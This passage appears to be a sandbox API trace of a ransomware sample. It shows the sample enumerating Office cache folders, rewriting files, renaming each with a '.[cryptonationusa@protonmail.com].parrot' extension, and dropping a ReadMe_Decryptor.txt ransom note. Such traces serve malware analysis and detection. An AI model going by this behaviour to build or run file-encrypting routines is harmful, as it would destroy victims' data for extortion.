Size=0xf0) returned 0x5f1ec8 [0056.484] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3d88 | out: hHeap=0x540000) returned 1 [0056.484] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1ec8 | out: hHeap=0x540000) returned 1 [0056.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0056.487] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x34b0020 | out: hHeap=0x540000) returned 1 [0056.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0056.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0056.514] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0056.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0056.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0056.516] GetFileType (hFile=0x2b0) returned 0x1 [0056.516] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61d9b0 [0056.526] lstrcmpW (lpString1="WordMUI.xml", lpString2="ReadMe_Decryptor.txt") returned 1 [0056.526] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0056.527] GetFileSize (in: hFile=0x2b0, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x708 [0056.527] LockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x820, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.527] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.527] ReadFile (in: hFile=0x2b0, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0056.529] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.529] ReadFile (in: hFile=0x2b0, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x708, lpOverlapped=0x0) returned 1 [0056.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0056.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0056.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0056.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0056.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0056.529] GetLastError () returned 0x0 [0056.529] SetLastError (dwErrCode=0x0) [0056.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0056.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0056.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0056.529] GetLastError () returned 0x0 [0056.529] SetLastError (dwErrCode=0x0) [0056.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.529] GetLastError () returned 0x0 [0056.529] SetLastError (dwErrCode=0x0) [0056.529] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0056.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0056.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61d9b0 [0056.529] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x710) returned 0x5f0780 [0056.530] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0056.530] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe10) returned 0x28d7a10 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0056.530] GetLastError () returned 0x0 [0056.530] SetLastError (dwErrCode=0x0) [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61d9b0 | out: hHeap=0x540000) returned 1 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0056.530] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0056.530] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0056.530] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.530] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0056.530] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0056.530] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0056.530] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0056.530] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0056.530] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c70 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0056.530] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0056.530] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0056.530] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0056.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0056.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0056.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0056.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0056.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0056.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0056.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x6090e0 [0056.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0056.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0056.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0056.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x562228 [0056.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0056.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x28d5988 [0056.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0056.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0056.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0056.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0056.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0056.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0056.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0056.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0056.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0056.531] WriteFile (in: hFile=0x2b0, lpBuffer=0x5edba0*, nNumberOfBytesToWrite=0x828, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x5edba0*, lpNumberOfBytesWritten=0x235f1e8*=0x828, lpOverlapped=0x0) returned 1 [0056.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0056.531] UnlockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x820, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.531] CloseHandle (hObject=0x2b0) returned 1 [0056.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3d88 [0056.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1ec8 [0056.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3d88 | out: hHeap=0x540000) returned 1 [0056.532] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1ec8 | out: hHeap=0x540000) returned 1 [0056.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0056.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0056.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0056.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0056.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0056.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0056.533] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0056.534] GetFileType (hFile=0x2b0) returned 0x1 [0056.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61d9b0 [0056.544] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x235f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f2a0) returned 0x5dad20 [0056.545] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb085ed40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb085ed40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.545] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf52dbe0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf52dbe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0884ea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0056.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0056.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.545] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0056.545] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xaf507a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETUPX~1.PAR")) returned 1 [0056.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0056.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0056.545] lstrcmpW (lpString1="Setup.xml.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0056.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1ec8 [0056.545] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb03e8400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x29c6ed5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="WORDLR~1.PAR")) returned 1 [0056.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0056.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0056.545] lstrcmpW (lpString1="WordLR.cab.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0056.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1fc0 [0056.545] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb07ec920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x267f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="WORDMU~1.PAR")) returned 1 [0056.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0056.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0056.545] lstrcmpW (lpString1="WordMUI.msi.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0056.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f20b8 [0056.545] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb085ed40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="WORDMU~2.PAR")) returned 1 [0056.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0056.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0056.545] lstrcmpW (lpString1="WordMUI.xml.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0056.545] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f21b0 [0056.546] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb085ed40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="WORDMU~2.PAR")) returned 0 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0056.546] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fca20 | out: hHeap=0x540000) returned 1 [0056.546] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0056.546] lstrcmpW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0056.546] lstrcmpW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0056.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0056.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0056.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0056.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0056.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fca20 [0056.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0056.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc998 | out: hHeap=0x540000) returned 1 [0056.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fc998 [0056.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0056.547] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, 